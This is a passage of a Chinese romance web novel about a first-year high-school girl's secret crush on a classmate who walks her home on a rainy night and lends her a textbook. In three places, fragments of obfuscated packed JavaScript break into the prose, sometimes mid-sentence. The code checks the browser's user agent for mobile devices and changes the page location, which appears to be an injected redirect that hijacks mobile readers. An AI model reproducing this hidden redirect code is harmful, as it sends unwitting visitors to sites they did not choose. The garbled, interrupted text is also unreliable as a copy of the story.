“我的工藤新一就是最帅的!”周热笑出声,“谁?你说纪预?他都面无表情的没搭理她们,不过好像他这样越是冷脸那些女生越兴奋哎,我真搞不懂......” 纪预冷着脸? 是吗? 段圆圆在心底摇了摇头,可是今天他对她说“没关系”的时候,嘴角分明是含着笑的。 9. —云吞面— 住在回南巷的江坞一中的走读生确实很多,许多家长为了让孩子有个良好的学习环境,不舍得让他们住校,即使江坞一中的宿舍环境条件也非常好。 现在走读生中大部分都是高二和高三的学生,可是现在他们两个年级的学生还在上晚自习。 幽森漆黑的这条小路上现在只有段圆圆一个人。 漆黑的夜晚,路灯并不算明亮,反而有些阴森的氛围。 段圆圆双手攥紧衣摆,晚上的风吹的她心慌。 她不由的加紧了回家的步伐。 她甚至比正常的时间早了五分钟回家。 但是现在家里仍然是漆黑一片。 杜女士还没回家,段圆圆看到了桌子上的字条,杜女士出差了,大后天才回来。 和字条一起留在桌子上的,还有一叠现金。 段圆圆在心底默默的叹了口气,本来还想让她明天晚上放学去接一接自己的,现在看来也没可能了。 临睡前,她找出了家里的手电筒,准备明天带去学校,这样晚上放学路上起码没有那么黑了。 不知道是不是许净欢天天把萧敬腾的王妃挂在嘴边哼唱管了用,第二天一早竟然阴天了。 乌云压城,黑浓一片。 看着没多久就像是要下雨的光景。 今天的军训内容是齐步走,全班同学都多少有些心不在焉,大家都在心底默默祈祷,快些下雨吧。 大概不到一小时,大家的祈祷就初见成效,天空飘起了了毛毛细雨。 雨不算大,但看今天天气这架势大概会越下越大。 他们的军训场地根本没有暂时躲雨的地方,教官无奈只好让他们回教室。 军训场地上一阵欢呼声,持续了十好几秒,都是同学们全然发自内心的,足够证明他们有多想快些结束军训。 段圆圆他们班的军训场地离教学楼更近一些,如果她现在跑回去,一定会和纪预错开。 她借着和许净欢拿水瓶的时机,故作漫不经心的向十班的方向看了一眼。 他们班刚刚解散,比起段圆圆他们班动作会慢一些。 段圆圆心底瞬间涌上一股失落,他们在楼梯处碰不到了。 她似乎现在多了一种超能力。 总能在一群穿着一模一样的衣服的人群中,一眼就找到纪预的位置。 段圆圆转身前看了纪预一眼,从她的角度望去,细雨打在他的脸颊,蒙上一层淡淡的雾。 段圆圆和许净欢回到教室,衣服无可避免的被雨水打湿。 湿漉漉的贴在身上,潮湿黏腻,不算舒服。 再加上教室的空调制冷系统似乎出了什么问题,最低温度只能调到二十八度,在人群密度极大的教室根本不起作用。 只能靠着老旧的电风扇,在头顶一圈又一圈转着。 教室里混杂着男生军训后身上汗水的味道,在闷热的空气里不停的发酵。 段圆圆坐了没有三分钟,就有些受不住了,她问许净欢:“我要去卫生间,你去吗?” “我先不去了。”许净欢说完,把椅子向前拉了一点,身体向前倾斜,让段圆圆出去。 他们这一层的卫生间在最西侧,楼梯将班级和卫生间隔开。 如果要去卫生间,也要经过十班。 段圆圆用余光扫了一眼十班,教室里仍有空位,应该剩下的同学还在回来的路上。 她刚刚那一眼没有看到后门最后一排的位置,或许是空的吧,段圆圆在心里猜想。 她其实没有多想去卫生间,只是觉得教室里实在是过于闷热。 想出来透口气罢了。 在卫生间简单的洗了洗手,凉爽的水柱从水龙头中倾泻而出,她的手心感受到了阵阵凉意。 心也静了不少。 走廊比起刚才的喧闹现在可以算是一阵安静。 可她没想到,在楼梯的拐角处,又碰到了纪预。 他独自一人,走向卫生间的方向。 而段圆圆要回教室,就这样和他直直的对上。 走廊空荡,现在只有他们两个人。 少年在离段圆圆两三步距离的时候停下脚步。 是后面有同学叫他,他停下脚步的同时回头看。 段圆圆只能从他身边绕过去。 距离很近,她的衣袖甚至不小心碰到了纪预的衣袖。 纪预身上有淡淡的柠檬和薄荷混杂的香气。 清爽干净,和教室里的那些臭男生截然不同。 两个人明明没有一丝一毫的眼神言语交流。 他分明没有看到自己,只是在面前恰好停住脚步罢了。 可段圆圆的心脏就像是要跳出胸口,她甚至屏住呼吸,尽量缩小自己的存在感。 她怕他能听见她似擂鼓的心跳。 “嗯。”他的嗓音低沉又充满磁性,还带着笑意,明明是在对着不远处的同学说,可段圆圆像是被击中一样。 这时候对声音的形容很匮乏,不像几年后会有什么气泡音、夹子音之类的各种形容声音的词汇。 段圆圆现在心里就一个想法:这比她听过的电视上的标准的主播声音还要好听。 回到教室后,段圆圆不知道该如何形容自己现在的这种心情。 明明他根本不认识她,她对他也许只是随意路过的同学,无足轻重,完全不会多费心去注意。 可她却每时每刻的想一直关注他,甚至能一眼就找到他。 她甚至非常羡慕十班的同学,因为可以和纪预一个班。 可是明明分班的那一瞬间,她还觉得,隔壁班也很好。 人果然都是奢求贪心的吧。 她拿出政治课本,翻开第一页,默默的读着课本上的文字,她开始努力让自己静心学习。 高中的确和初中的氛围不一样,分明还没有正式开始上课,但上课铃响了之后教室里的同学们都很自觉的呆在桌子前学习。 没有交头接耳、窃窃私语的声音。 只不过段圆圆这样的想法,不超过三分钟就被打破了。 三分钟过后,教室里有些同学见没有老师来教室,刚刚装模作样学习的样子立刻消失不见,很快教室里一副和谐的、其乐融融的聊天场面。 班主任老胡进来时正看到这一幕。 没有几个人安静学习,大部分的同学们都在三三两两的聊天。 老胡就站在教室门口,他也不说话,就等着看同学们到底什么时候能注意到他来了。 很快,没多久,大家就注意到班主任老胡正站在门口,目光阴沉的盯着他们。 连半秒钟都不到,教室里就安静到连一根针落到地上都能听见。 段圆圆即使刚刚在吵闹中也在看政治课本,对于突然的安静,她也好奇的抬起了头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346163|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老胡站在讲台上,目光先是围绕教室扫视了一圈,一句话没说,可是压迫感极强。 随之而来的不是同学们想象中的大发雷霆,而是以一种讲道理的方式,对全班同学说:“大家知道今年江坞一中扩招后高一有多少个班级吗?” 教室里响起稀稀拉拉的声音:“二十个。” “对,有二十个,高一级部为了更好的让大家有面对高考的紧张感和重视度,将这二十个班级,又分为两个分部,一到十班是第一分部,十一到二十班是第二分部,每次考试,不仅仅是每个班级之间的竞争,也是两个分部之间的竞争,如果你们不想要学习,为自己班级拖后腿,关上教室的门,都是咱们自己班自家人的事。”老胡顿了顿,“但是你们考虑过第一分部的其他九个班级吗?他们想被你拖后腿吗?” 老胡的话果然起到了作用,至少班级里大部分同学都低下了头。 谁也不想在开学没几天内就被老师指责。 而且虽然仅仅开学几天,可他们之间有一种隐形的集体荣誉感,他们九班是一个整体,自己班级可不能被其他班级看扁。 老胡的话效果不知道能管用几天,至少今天教室里上自习的时候,班级内是安静的。 今天下了一上午的雨,即使到午餐时间,还在下。 有些同学没有带伞,不想淋雨去吃饭,就仍然呆在教室,段圆圆没有带伞,只好留在学校里。 “中午你还去吃饭吗?”段圆圆问许净欢。 其实她是想吃的,如果许净欢不去,她就自己一个人去。 “当然,人是铁饭是钢,吃饭不积极,就是脑子有问题好不好!”许净欢看了一眼窗外的雨,“咱们都没带伞,跑着去吧。” 段圆圆点了点头,“还好雨不算大,跑着去淋不到太多。” 即使这一路上所有人都在小跑,段圆圆仍在找有没有纪预的身影。 到了餐厅,段圆圆忽然对许净欢说,“淋过雨后身上湿漉漉的,想吃点带汤的热面条。” “bingo!我也是这么想的!”许净欢指了指不远处的一个窗口,“一楼好像只有云吞面哎,吃这个怎么样?” 段圆圆点了点头,她早就发现一楼只有云吞面,外加上今天下雨,餐厅的瓷砖上也会因为来来往往的学生经过而沾上些水,微滑,不好走,她们肯定不会再多走几步去楼上吃。 她记得昨天在餐厅遇到纪预,他就是在云吞面的窗口排队。 她今天如果也吃云吞面的话,不知道能不能遇到他。 可是很遗憾,今天没有在云吞面的窗口看到纪预。 她吃了一口面,没想到学校餐厅做的云吞面味道竟然很正宗。 和她小时候去香港吃过的不相上下。 在杜女士和段伟城没有离婚的时候,即使日子不算富裕,可每年暑假仍会带段圆圆出去旅游。 在段圆圆上一年级之前的暑假,他们为了庆祝段圆圆即将成为小学生,一家人报了去香港旅游的旅行团。 那是段圆圆第一次坐飞机。 也是她第一次去迪士尼玩。 也是她第一次尝到了很多特色的小吃美食。 那些快乐的日子从来不是虚假的,他们从来没有在段圆圆面前争吵过,即使在离婚前夕也没有。 所以段圆圆一直想不通,为什么感情和睦没什么矛盾的夫妻,能干脆的说离婚就离婚了。 10. —打火机— 上天的确很偏爱他们这一届新生,等到段圆圆和许净欢吃完饭出来后,下了一天的雨竟然停了。 现在还不到七点,天色还没有黑。 金色赤霞照了半边天,余晖与微风轻轻笼罩整片校园。 学校里有一个书店,不止卖辅导书和习题集,还卖许多少女时期的学生们最爱看的杂志。 段圆圆和许净欢走进书店,因为刚刚下过雨,许多人留在了教室,书店内并没有很多人。 她们两个在书店内逛了逛,各自挑了两本不同的杂志,这样等到她们看完后还可以一起互相换着看。 校园内的书店是不能刷校园卡的,只收现金。 段圆圆的兜里只有一张一百块的,是杜女士给她留的,杜女士对她在金钱方面毫不吝啬,这次出差几天,更是在家里给段圆圆留了一笔现金“巨款”。 在同学们基本每天只有二十块左右的零花钱的时候,她的红色一百块,显得很不合群。 她从来不觉得这是炫耀,相反的,她不喜欢这样。 接过书店阿姨找的一把零钱,段圆圆开心的零钱装进口袋里。 晚自习整个楼层只有一个值班老师,教室内并没有老师。 所以同学们只要不说话,保持安静,想做什么都没有人管。 老胡白天在讲台上说的话,似乎对他们的保质期不会超过十二小时。 白天想要好好学习的劲头到了夜晚消失的无影无踪。 能保持教室安静就已经是他们共同的努力了。 段圆圆和许净欢在一个晚自习内看完了四本少女杂志。 她们对有些故事情节非常不满意,许净欢从本子里撕一张纸,在上面写了几个大字:【这一篇气死我了!】 然后连带着摊开的杂志一起递到了段圆圆的课桌上。 段圆圆接过纸条,在上面写了一句:【我也!这一篇的结尾男主怎么能挂掉!猝不及防!!】 随后又把纸条推到许净欢的手边。 两个人看完后对视一笑。 少女的默契和友谊,在晚自习,在少女杂志里,在纸条里,无声滋长。 即使许多年后,她们早已忘记了那本少女杂志里的故事到底讲了什么内容,也早已记不清她们悄悄传的纸条里具体写了什么,可她们永远记得那一晚的温柔的风,永远记得教室外不止的蝉鸣声,永远记得教室里的灯光很明亮,永远记得彼此那默契的澄澈一笑。 晚自习下课后,段圆圆仍然选择了昨天走的楼梯。 路过十班后门,她鼓起勇气站在后门门口,压制住飞速跳动的心脏,轻轻的喊了一声:“周热。” 她今天没有这么好运。 第一眼她就注意到,纪预不在座位上。 他已经放学离开了吗? 可是他昨天这个时间还在教室里做题。 他是有什么事情才提前离开的吗? 他是因为今天淋了雨不舒服了吗? 周热甜甜的看了段圆圆一眼,打断了段圆圆的思绪,“圆圆等我一下,我马上就好喔。” 周热和段圆圆仍然在校园里就分别,周热回宿舍,段圆圆自己一个人走回家。 下过雨后的天空繁星闪闪,空气里都是雨水特有的潮气,夹杂着香樟树和蔷薇花淡淡的清香。 回家的小路依然漆黑,路边的路灯幽暗,效果近似于无,下过雨后更给这份暗黑多添了一丝寒意。 段圆圆拿出手电筒,还好她昨天晚上回家后机智地找出了手电筒。 可是她昨天找到手电筒后就放到了一边,根本没有试一试手电筒亮不亮。 而且她还忘记查看手电筒里有没有电池了。 手电筒握在手里,没有电池,一点光也发不出。 无奈,她只得加快回家的脚步。 小路很安静,只有段圆圆自己的踏在雨水坑里的脚步声。 可就在快要到巷子里的时候,背后传来了若隐若现的轻浮的男人的声音。 莫名的有些瘆人。 段圆圆脑海里瞬间闪过了最近的治安不好、有团伙深夜抢劫的新闻,她可不想明天就出现在报纸上。 她只得再次加快脚步,说来也不巧,雨滴又开始落下了。 一滴、两滴,夹杂着初秋微寒的雨点开始落在段圆圆的脸颊,没入脖颈,可雨水带来的寒意远不如背后男人的声响来得刺骨。 昨天要是检查一下手电筒有没有电池就好了。段圆圆心想。 段圆圆从不知道八月末的寒意竟然可以让人颤栗到肌肤上激起一层薄薄的鸡皮疙瘩。 寒意夹杂着无助的害怕,她除了加快脚步,别无他法。 人在对现状无措而瞎想的时候最是害怕。 段圆圆因为脚下的步伐急促加快,左脚踩到了右脚,摔倒在了巷子里。 巷子里很安静,安静到段圆圆双手撑在地上都能听清身后有人骑自行车即将经过她的身旁。 一圈一圈转动车轮的声音由远及近,在段圆圆估摸着即将经过她身边时,她大胆的回头看了一眼。 她在心里猜测应该是江坞一中的学生,如果是的话那最好了,如果不是也没关系,她可以跟在这辆自行车后面。 这样这段路就不再是她一个人走了。 段圆圆磕到了膝盖,手心应该被磨破了皮,有些沙沙的痛。 她撑在地上,回头看了一眼。 回头的那一瞬间,巷子里依旧是黑暗的。 可是骑着自行车的少年在黑夜里仍然意气风发。 逼仄黑暗的小巷里多了一束光。 飒沓如流星。 即使在模糊黑暗里,段圆圆依然第一秒就认出,那一定是纪预。 一束流星般的因为纪预而出现的光。 这束光耀眼且夺目,却永远不会为她停留。 段圆圆自嘲的摇了摇头,她有些想哭。 为什么每次遇到纪预都是这么糗的时刻? 眼眶氤氲上一层淡淡的水雾,段圆圆僵硬着身体,想等到纪预骑自行车过去她再起来。 他应该看不到吧。 段圆圆在心里祈祷他千万千万不要注意到。 不要注意到她摔在了地上。 巷子里的地面是略微潮湿的。 她都能想象到,她现在的样子一定很糗,一定不好看。 自行车的声音没有如段圆圆预料的经过她身边后越走越远。 而是在她身边时声音戛然而止。 自行车停到了她的身边。 “需要帮忙吗?” 低沉的声音在黑夜里响起,段圆圆像是收到了馈赠般的礼物。 纪预停下车,他站在了段圆圆身边。 段圆圆双手僵硬,但她很快用尽全身的力气,以最快的速度站了起来,“谢......谢,不用了。” 她用尽全力让身体不去颤抖,段圆圆低着头,她想,还好现在是夜晚,不然她红透的脸该怎么办才好。 巷子里现在只剩下安静,嘈杂声和那些瘆人的声音在此刻全部消失。 “你的手电筒掉了。”纪预帮段圆圆捡起摔掉在地上的手电筒,“给你。” “谢谢。”段圆圆完全是凭借本能、机械性的说出这句道谢,随后从他手里接过了手电筒。 她怕纪预猜想,她为什么不开手电筒。 随后指了指手里的手电筒,主动开口,她的声音并不大,可在寂静的夜里仍然听的很清楚:“我忘记装电池了,所以它......没法正常工作。” 这样幼稚的事,实在不应该是一个高中生做出来的。 纪预听到后却并没有如段圆圆所料的那样发出嘲笑的声音,他淡淡的笑了一声,段圆圆将这声笑听的非常清楚。 她再一次的,脸红了。 她想,她的脸一定能红的掐出水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346164|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪预的笑并没有任何恶意,接下来他没有骑着车离开,而是推着自行车,和段圆圆并肩一起走。 他没有为自己的行为解释,他和段圆圆还算不上认识,他并没有说“女孩子晚上一个人不安全”、“刚刚看到你摔倒我担心你”“我送你回家”这一类没有分寸感的话,而是十分自然的,和段圆圆并肩走在一起。 仿佛他的手里没有自行车,仿佛他原本就是这样打算走着回家。 仿佛他们就是再正常不过的路上遇到的、都是刚刚下晚自习的走读生。 事实上,他们的关系也仅限于此。 这条小巷十分安静,两个人也没有其余的交流。 回南巷的路灯报修了很久,一直没有人来修。 倏地—— 从纪预的手里传来了“啪搭,啪搭”的声音。 随之而来的,是微弱的、一闪即消却又再次重燃的光苗。 纪预不知道从哪里变出来一个打火机,他一只手推着自行车,一只手在手里按着打火机。 动作随意又慵懒。 啪搭、啪搭,一声又一声。 火苗在他的手里灵动的跳跃着。 他们眼前的视线不再是黑暗的,而是随着火苗的出现有了暖黄色的明亮。 段圆圆的目光忍不住的去看火苗。 火苗摇曳,一燃又一燃。 燃点了她的心。 她的目光一直去看向微弱的火苗,她不知怎的脱口而出:“我试试,可以吗?” 她想这是她今天最大的勇气了。 她不确定纪预是否听到了,听到她在黑夜仍然微弱的声音。 纪预没有说话,只是将打火机静静地摊在掌心,示意段圆圆去拿。 段圆圆低着头,犹豫了半秒钟,飞速的、小心的从他手里拿起打火机。 可指尖还是在这一瞬间隐隐约约擦过他的手掌,段圆圆被那一瞬间的微麻刺激到浑身血液静止,整个世界像是被按下了静音键。 只剩手里打火机,啪搭、啪搭的一声又一声。 他们自始自终没有再多说过一句话。 纪预没有问她叫什么名字,或许是不在意,又或许是怕她尴尬。 毕竟纪预今晚见到了她摔倒在地上尴尬的一面。 纪预甚至很有教养的没有过多的注意段圆圆的长相。 段圆圆注意到了这一点,她心想,纪预一定是怕她尴尬,他一定是觉得女孩子的无措一面并不想让其他人看到。 段圆圆甚至很感激纪预这样的做法。 这样纪预可以不将她和摔倒在地上的女孩划上等号,那么等到明天,那么等到以后,她再次在学校里见到纪预时,她仍可以以最好的模样出现在他面前。 从前的段圆圆在想,为什么回南巷的这条路这么长,这么长。 她要走好久。 可是今天,她在想,为什么这条路这么短,这么短。 短到前面几步路远处就是她的家。 “我到家了,今天谢谢你。”段圆圆低着头,飞速的说完这句话后转身离开。 今天她说了无数次的谢谢。 她甚至没有看清纪预是什么反应。 但是她在小院子里透过门缝向外看,纪预又骑上了他的自行车,很快消失在段圆圆的视线里。 回南巷又一次回归逼仄与黑暗。 少年带来的那束光,随着他的离开,也渐渐的一点一点消失在远方。 只剩那支黑色的打火机,安静的在段圆圆手里。 段圆圆把它放在手里,一下又一下的按着。 火苗一闪又一闪,填满了段圆圆的心。 今夜,段圆圆的日记本上多了一行短短的文字: 2012/08/28 ·谢谢他今晚一路上的沉默,跳跃的火苗,逼仄黑暗小巷里的那道从天而降的光,是我永生难忘的景色。 11. —无名书— 江坞市在今年似乎提前进入了雨季。 这几天雨水淅沥沥的断断续续一直下个没完。 阴雨连绵,少见阳光,段圆圆不喜欢这样一直下雨的天气。 但是因为下雨的关系,军训以及最后的军训汇演都取消了。 学生们听到这个消息后高兴的在教室里欢呼起来。 可高兴不过十秒钟,他们就得到了一个惊天霹雳的“噩耗”—— 即使在不需要军训的日子里,他们也没法继续自由自习,而是要正式开始上课,进入紧张的高一生活。 “在你们正式开始上课之前,作为你们的班主任,我要告诉你们,你们千万不要觉得自己已经想好了明年选文科还是学理科,就只学这三门,你们要在理化生政史地这六门课程里都要努力,凭我带学生这些年的经验来看,很多人现在想的是选文科,可能下半年就改主意了,之前我有个学生信誓旦旦的对我说,‘胡老师,我就要学理科,我以后要做科学家’,但是后来转了文科,如果你们不信我说的,现在找个本子写下来,看看你要学文还是学理,等到高一末报名的时候再看看,是不是会有差入,根据我多年的经验来看,我敢保证,咱们班至少会有十个同学等到文理报名的时候,想法和现在想的不一样。” 老胡在讲台上讲了这些,扫视了全班同学一圈之后,又开口讲,“而且,你们是有高中结业学业水平考试的,如果你们偏科太严重,结业水平考试没通过,那就拿不了高中毕业证,不要小瞧高中毕业证,就算将来你顺利的大学毕业了,但是还是会用到高中毕业证的,到时候人家一问,你说你没有高中毕业证书,那说出去不是让人笑话吗!” “好了,话我已经告诉你们了,我该说的已经说完了,只希望你们能把我的话认真听进去,而不是左耳朵进了右耳朵出。”老胡随后笑了笑,“那现在大家拿出数学课本,接下来咱们开始正式上课。” 段圆圆听着老胡讲的话,也认真的思考了一下,她会改变学文的想法吗? 应该是不会的。 她虽然成绩比较平均,但物理对她来说学起来有一些吃力,不像政治历史这种更偏向于背诵理解的科目学起来得心应手,所以老胡说什么学期末至少有十个同学改变选择文理科目的想法,大概率是不会有她的。 但段圆圆她也知道,即使确定了高考选择文科,理化生也不能落下,万一真的没通过最后的结业学业水平考试那就惨了。 上课的时候,段圆圆听的很认真,不像在暑期辅导班时那样敷衍。 数学课枯燥无趣,做了许多例题,到下课时还没讲完,只是还好老胡没有拖堂的习惯,三言两语结束了他今天的数学课。 下课后许净欢迫不及待的拉着段圆圆去厕所,“数学太难了,刚才在课上听的我都快睡过去了,出去透透气。” “好啊。”段圆圆忍不住的将右手放在她的大腿上侧,摸了一下她的校服裤上的口袋。 口袋里面有一支黑色的打火机。 但并不是昨天纪预的那一支。 而是今天早上她在巷子口的小卖部刚买的。 全新的、满油的打火机。 其实和纪预给她的那一支并不是完全一样的。 但已经是小卖部里能提供的相似度最高的。 她的私心让她将纪预的打火机藏在了家里。 她想悄悄的留一些属于他的纪念。 将这当作她自己的独一无二的小秘密。 段圆圆不确定纪预是否能认出她。 或者说,纪预会站在她的立场,替她考虑,猜测她一定是不希望被他在学校里认出来的。 毕竟摔倒在雨水中,并不光彩。 但经过一夜,段圆圆也有些矛盾。 她一方面盲目的希望可以和纪预有更多的交集,所以希望他能认出她;一方面又不希望她在纪预的印象里是雨夜的狼狈形象,所以希望他不记得她。 这样的矛盾交织在段圆圆的脑海里。 所以今天早上,她特意买了这一支黑色的打火机。 如果他认出她了,问她要昨晚的打火机,她就把这支全新的打火机给他。 开学这几天,她早就熟悉了去厕所的路。 可从来没有哪一次是这么紧张。 在路上怕遇见纪预,又怕遇不见纪预。 经过十班时,许净欢大大咧咧的向十班教室内看去,“让我找找纪预在不在教室里。” “纪预?”思维半游离并且极度紧张的段圆圆还是敏锐的捕捉到“纪预”这两个字。 许净欢没有察觉到段圆圆的不对劲,“是啊,十班那个帅哥,我打听到了,他叫纪预。” 段圆圆小声的“哦”了一下,“这么盯着十班看不太好吧。” 段圆圆平时路过十班时,向里面多看一眼,都要做好久的心理建设,并且还要预先在脑海里模拟一下,如何看才会让动作看起来不突兀,不显得奇怪。 即使这样,她也只会悄悄看十班一眼,不会像许净欢这样,一路上挎着她的胳膊,保持平衡,根本不看前面的路,眼里的目光直接盯着十班看。 “这有什么的,难道你没注意到,这几天也有很多人向咱们班教室里看吗?”许净欢看段圆圆现在呆呆地样子可爱极了,她笑的狡黠,“看你这样就一定不知道,他们都是看你的呀。” 段圆圆有些吃惊,不可思议的开口向许净欢确认道:“我?” 许净欢点点头,开始对段圆圆讲:“是啊,你的位置靠窗,这一层好多的男生都知道咱们班靠窗的位置有个美女哎!” 段圆圆的皮肤白皙,找不到一丝毛孔,鼻子小巧精致,睫毛卷翘,有时候许净欢在教室里偶尔偏头看向她,都能看到段圆圆眨眼时眼睑下的淡淡阴影。 段圆圆是真的没注意过。 从小大家会夸她乖,夸她懂事,但真的没有几个长辈会夸她生得好看。 许净欢这样乍然一说,段圆圆羞的红了脸,“你也很好看啊,他们也一定是看你的。” 段圆圆也没有乱说,许净欢没的明艳张扬,像一朵盛开在烈阳下的凤凰花。 两个女生对视一笑,说话的功夫,就已经路过十班了。 但是并没有看到纪预。 从卫生间出来到回到教室的这一段路,段圆圆也没有看到纪预。 段圆圆悬着的心骤然落地。 口袋里的打火机,大概是送不出去了。 接下来的两天,段圆圆一直没有遇到纪预。 不论是走廊上,还是下了晚自习放学时,又或者是在回南巷里,半点纪预的身影也没看到。 段圆圆很好奇纪预去了哪里,为什么这几天一面也见不到,她实在没忍住,准备在放学时隐晦的向周热打听一下。 可还没等她准备好该如何措辞才不会让周热觉得奇怪时,周热就像是知道她心中所想一样,拉着她不停的说:“我们老师给我换同桌了,啊我竟然被调到教室靠后门的最后一排了。” 段圆圆愣了一下,“最后一排?” 段圆圆和周热的个子都不算矮,即使坐在教室里的最后一排,也对上课看黑板没有影响。 她刚才那一瞬间感到惊讶,是因为她瞬间想到了纪预,也坐在十班的最后一排,并且本来和周热是前后桌。 “是啊,我同桌现在成纪预了,你上次放学见过的,就是坐在我们班后门的那个男生。”周热语气有点不爽,“你是不知道,课间有多少女生来我们班看他,还给他送东西,有的时候都会堆到我的桌子上,有时候我课间想补眠都不行。” 周热是打心眼里觉得和纪预同桌是一件很麻烦的事情。 毕竟现在才开学一个周左右,慕名来看纪预的人都这么多,以后还不知道会怎么样呢。 但段圆圆此刻真的真的很羡慕周热。 周热觉得麻烦的、嫌弃的,在她眼里确实可望不可及的、羡慕不已的。 这场无声的暗恋是她一个人的秘密。 她暂时不知道该如何向好朋友开口,直到最后她也没有问周热,纪预这两天的课间去了哪里。 即使好朋友和暗恋对象成了同桌,段圆圆除了羡慕之外,也丝毫没有其他的、比如借机套近乎和纪预打招呼之类的什么想法。 周末两天转瞬即逝,很快到了新的一周。 周一的第一节课是地理课。 地理课上周并没有上,这也是段圆圆高中生涯里的第一节地理课。 但段圆圆在英语早读时发现,她竟然忘记带地理课本了! 她不想第一节地理课就没有课本,这听起来并不是一个好的开始。 而且据学长学姐们说他们这一位地理老师很凶很严格,谁也不能在她的课堂上走神,更别提不带课本这种幼稚的事情了。 奈何英语老师在打了下课铃之后还拖堂了两分钟。 段圆圆在英语老师说了下课后立刻飞快的走到十班的后门处。 他们两个班级是一个地理老师,所以课程不会重叠。 她打算借周热的地理课本。 十班的课间不安静,有在教室里悄悄吃早饭的,有在交流错题的,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346165|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在教室里聊八卦的,段圆圆站在他们班的后门处并不显眼,没有人注意到。 除了纪预。 段圆圆的目光看着周热的桌子,周热并不在教室。 但是纪预在,她的心紧张的砰砰直跳,比早读时发现没带课本的那一刻还紧张。 “是来找周热吗?”纪预的声音清朗平和,还略微带着些慵懒。 段圆圆听到后耳尖忍不住一颤,“嗯,她去哪里了?” 纪预的声音在吵闹的课间显得更加清朗好听,“她去语文组送作业了。” 语文组在另一栋教学楼,两栋教学楼之间有连廊相连,一来一去至少要五六分钟。 段圆圆估摸了一下时间,应该等不及周热回来了。 段圆圆低着头,声音有些隐隐发颤,“能麻烦你帮我把周热的地理书找出来吗,等她回来你跟她说一下就可以,谢谢你!” 纪预点了点头,很快的就从课桌上拿起一本地理课本,放到段圆圆面前。 “给你。”他的声音温和,却透着些带着笑意的慵懒,“地理书可不在地里。” “谢谢你!”段圆圆听到纪预这句话,不好意思继续盯着地面看,她只好抬起头,红着脸颊直视纪预。 一眼就能看到纪预面部流畅的线条,和高挺的鼻梁,他们这一届的校服是公认的最好看的白色,纪预穿着白色的校服,整个人看起来是充满朝气的帅气。 段圆圆红着脸颊接过课本,用清甜但是无比紧张的声音道了一句谢,没等纪预再说什么,便害羞的回到教室了。 她刚到教室坐下,上课铃就响了。 地理老师只是简单的自我介绍了一下,并且强调了地理的重要性以及上课该如何记笔记,就开始了正式的上课。 周热的课本是崭新的,连名字都没写。 段圆圆在想,这么新的课本被她直接这么写好像有些不太好,但她又怕被老师发现没有记笔记,她干脆从笔袋里找了一支铅笔出来,用铅笔在课本上记笔记。 这位地理老师有她独特的讲课风格,她先让大家看地理课本里附带的世界地图。 段圆圆听话的打开了附录页的地图。 本以为只是普普通通的一页,可没想到她手里的地理课本在地图的这一页,用墨蓝色的笔写着四个字:眺看世界。 段圆圆很熟悉周热的字迹,很明显这四个字不会是周热写的。 这四个字笔锋顿挫有力,字迹潇洒如龙如蛇,都说字如其人,想必能写出这般好看字迹的人也是一位恣意洒脱之人。 段圆圆脑海里一下子就浮现了纪预的身影。 以及入学考试时,段圆圆轻轻一瞥窥见到的纪预在试卷上写的名字。 她现下可以百分之百的确定,这一定是纪预的字。 所以这本地理书,并不是周热的而是……是纪预的? 纪预刚刚拿课本时,段圆圆一直低着头。 所以她并不清楚纪预究竟是拿的谁的课本。 那么纪预是拿错了,还是知道他拿的课本不是周热的而是他自己的呢? 段圆圆想到这里,脸颊隐隐的泛红了。 但是这是在课堂上,她强迫自己赶紧冷静下来。 她看着纪预在地图的空白处写的这四个字。 眺、看、世、界。 纪预的字真的很好看,是段圆圆见过的所有人中写字最好看的。 而且他在写“世”的时候,用的是小楷的写法,这样的写法段圆圆曾在王羲之的书法里见到过。 他将“世”写成了上下结构,上半部分类似于一个“+”,下半部分类似于一个“廿”。 这样的写法段圆圆觉得特殊又好看,和其他人都不一样。 一如少年模样。 她忍不住的从本子上撕了一张纸,悄悄地模仿起纪预的字迹。 她最先练习的便是“世”字。 这个字写起来并不难,掌握好技巧后多练习几次,段圆圆很快将这个字写的有模有样。 可笔画多的字模仿起来便没有那么简单了,段圆圆练习了很多次,就像画虎画皮难画骨,模仿他人的字体也是一个道理,无奈最后只好放弃了。 但她又撕下来了一张纸,覆在了纪预的字迹上面,就像书法字帖里的临摹纸一样,悄悄地、一笔一画的描摹了纪预写的这四个字。 临摹的字和纪预的字迹相似度很高。 段圆圆躲避着地理老师的视线,又悄悄的这样写了几次,最后她小心翼翼的将这张临摹过的和纪预的字迹无二的纸藏在了她的日记本里。 12. —草莓糖— 地理老师确实是从学姐那里听来的名不虚传的严厉。 她站在讲台上,一句话也不说,淡淡的目光略过全班同学,一眼就能看出谁没有认真听课。 